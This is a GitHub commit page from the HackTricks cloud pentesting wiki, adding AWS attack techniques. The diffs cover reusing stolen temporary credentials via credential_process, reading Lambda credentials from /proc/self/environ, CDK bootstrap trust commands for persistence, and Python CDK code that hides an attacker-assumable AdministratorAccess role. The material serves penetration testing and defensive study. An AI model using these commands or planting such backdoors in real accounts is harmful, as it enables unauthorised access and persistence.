Skip to content

Commit 070f59d

Browse files
committed
Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud
2 parents af708b2 + 52b5e2b commit 070f59d

File tree

7 files changed

+108
-1
lines changed

7 files changed

+108
-1
lines changed

searchindex.js

Lines changed: 1 addition & 1 deletion
Large diffs are not rendered by default.

src/SUMMARY.md

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -211,6 +211,7 @@
211211
- [AWS - Permissions for a Pentest](pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md)
212212
- [AWS - Persistence](pentesting-cloud/aws-security/aws-persistence/README.md)
213213
- [AWS - API Gateway Persistence](pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md)
214+
- [AWS - Cloudformation Persistence](pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence.md)
214215
- [AWS - Cognito Persistence](pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md)
215216
- [AWS - DynamoDB Persistence](pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md)
216217
- [AWS - EC2 Persistence](pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md)

src/pentesting-cloud/aws-security/aws-basic-information/README.md

Lines changed: 20 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -397,6 +397,26 @@ aws --profile acc2 ...
397397

398398
If you are looking for something **similar** to this but for the **browser** you can check the **extension** [**AWS Extend Switch Roles**](https://chrome.google.com/webstore/detail/aws-extend-switch-roles/jpmkfafbacpgapdghgdpembnojdlgkdl?hl=en).
399399

400+
#### Automating temporary credentials
401+
402+
If you are exploiting an application which generates temporary credentials, it can be tedious updating them in your terminal every few minutes when they expire. This can be fixed using a `credential_process` directive in the config file. For example, if you have some vulnerable webapp, you could do:
403+
404+
```toml
405+
[victim]
406+
credential_process = curl -d 'PAYLOAD' https://some-site.com
407+
```
408+
409+
Note that credentials _must_ be returned to STDOUT in the following format:
410+
```json
411+
{
412+
"Version": 1,
413+
"AccessKeyId": "an AWS access key",
414+
"SecretAccessKey": "your AWS secret access key",
415+
"SessionToken": "the AWS session token for temporary credentials",
416+
"Expiration": "ISO8601 timestamp when the credentials expire"
417+
}
418+
```
419+
400420
## References
401421

402422
- [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_getting-started_concepts.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_getting-started_concepts.html)
Lines changed: 25 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,25 @@
1+
# AWS - Cloudformation Persistence
2+
3+
{{#include ../../../banners/hacktricks-training.md}}
4+
5+
## CloudFormation
6+
7+
For more information, access:
8+
9+
{{#ref}}
10+
../aws-services/aws-cloudformation-and-codestar-enum.md
11+
{{#endref}}
12+
13+
### CDK Bootstrap Stack
14+
15+
The AWS CDK deploys a CFN stack called `CDKToolkit`. This stack supports a parameter `TrustedAccounts` which allow external accounts to deploy CDK projects into the victim account. An attacker can abuse this to grant themselves indefinite access to the victim account, either by using the AWS cli to redeploy the stack with parameters, or the AWS CDK cli.
16+
17+
```bash
18+
# CDK
19+
cdk bootstrap --trust 1234567890
20+
21+
# AWS CLI
22+
aws cloudformation update-stack --use-previous-template --parameters ParameterKey=TrustedAccounts,ParameterValue=1234567890
23+
```
24+
25+
{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -10,6 +10,12 @@ For more information check:
1010
../../aws-services/aws-lambda-enum.md
1111
{{#endref}}
1212

13+
### Exfilrtate Lambda Credentials
14+
15+
Lambda uses environment variables to inject credentials at runtime. If you can get access to them (by reading `/proc/self/environ` or using the vulnerable function itself), you can use them yourself. They live in the default variable names `AWS_SESSION_TOKEN`, `AWS_SECRET_ACCESS_KEY`, and `AWS_ACCESS_KEY_ID`.
16+
17+
By default, these will have access to write to a cloudwatch log group (the name of which is stored in `AWS_LAMBDA_LOG_GROUP_NAME`), as well as to create arbitrary log groups, however lambda functions frequently have more permissions assigned based on their intended use.
18+
1319
### Steal Others Lambda URL Requests
1420

1521
If an attacker somehow manage to get RCE inside a Lambda he will be able to steal other users HTTP requests to the lambda. If the requests contain sensitive information (cookies, credentials...) he will be able to steal them.

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md

Lines changed: 49 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -111,9 +111,58 @@ An attacker could abuse this permission without the passRole permission to updat
111111

112112
**Potential Impact:** Privesc to the attached cloudformation roles.
113113

114+
## AWS CDK
115+
116+
The AWS cdk is a toolkit for allowing users to define their infrastructure-as-code in languages they are already familiar with, as well as easily re-using sections. The CDK then converts the high-level code (ie python) into Cloudformation templates (yaml or json).
117+
118+
In order to use the CDK, an administrative user must first bootstrap the account, which create several IAM roles, including the *exec role*, which has \*/\* permissions. These roles follow the naming structure `cdk-<qualifier>-<name>-<account-id>-<region>`. Bootstrapping must be done once per region per account.
119+
120+
By default, CDK users do not have access to list the roles needed to use the CDK, meaning that you will need to determine them manually. If you compromise a developers machine or some CI/CD node, these roles can can be assumed to grant yourself the ability to deploy CFN templates, using the `cfn-exec` role to allow CFN to deploy any resources, fully compromising the account.
121+
122+
### Determining the role names
123+
124+
If you have `cloudformation:DescribeStacks`, the roles are defined in a stack called `CDKToolkit`, and you can pull the names from there.
125+
126+
If you're on a machine that has been used to build and deploy CDK projects, you can pull them from `cdk.out/manafest.json` in the projects root directory.
127+
128+
You can also make a good guess on what they are. `qualifier` is a string added to the roles allowing for multiple instance of the CDK bootstrap to be deployed at once, however the default value is hard-coded to `hnb659fds`.
129+
130+
```
131+
# Defaults
132+
cdk-hnb659fds-cfn-exec-role-<account-id>-<region>
133+
cdk-hnb659fds-deploy-role-<account-id>-<region>
134+
cdk-hnb659fds-file-publishing-role-<account-id>-<region>
135+
cdk-hnb659fds-image-publishing-role-<account-id>-<region>
136+
cdk-hnb659fds-lookup-role-<account-id>-<region>
137+
```
138+
139+
### Adding malicious code to the project source
140+
141+
If you can write to the project source, but cannot deploy it yourself (for example, the developer deploys the code via CI/CD, not the local machine), you can still compromise the environment by adding malicious resources to the stack. The following adds an IAM role that can be assumed by an attacker account to a python CDK project.
142+
143+
```python
144+
class CdkTestStack(Stack):
145+
def __init__(self, scope: Construct, construct_id: str, **kwargs) -> None:
146+
super().__init__(scope, construct_id, **kwargs)
147+
148+
# ----------
149+
# Some existing code.....
150+
# ----------
151+
152+
role = iam.Role(
153+
self,
154+
"cdk-backup-role", # Role name, make it something subtle
155+
assumed_by=iam.AccountPrincipal("1234567890"), # Account to allow to assume the role
156+
managed_policies=[
157+
iam.ManagedPolicy.from_aws_managed_policy_name("AdministratorAccess") # Policies to attach, in this case AdministratorAccess
158+
],
159+
)
160+
```
161+
114162
## References
115163

116164
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
165+
- [https://github.com/aws/aws-cdk-cli/blob/main/packages/aws-cdk/lib/api/bootstrap/bootstrap-template.yaml](https://github.com/aws/aws-cdk-cli/blob/main/packages/aws-cdk/lib/api/bootstrap/bootstrap-template.yaml)
117166

118167
{{#include ../../../../banners/hacktricks-training.md}}
119168

src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -39,6 +39,12 @@ In the following page you can check how to **abuse cloudformation permissions to
3939
../aws-privilege-escalation/aws-cloudformation-privesc/
4040
{{#endref}}
4141

42+
### Persistence
43+
44+
{{#ref}}
45+
../aws-persistence/aws-cloudformation-persistence.md
46+
{{#endref}}
47+
4248
### Post-Exploitation
4349

4450
Check for **secrets** or sensitive information in the **template, parameters & output** of each CloudFormation

0 commit comments

Comments
 (0)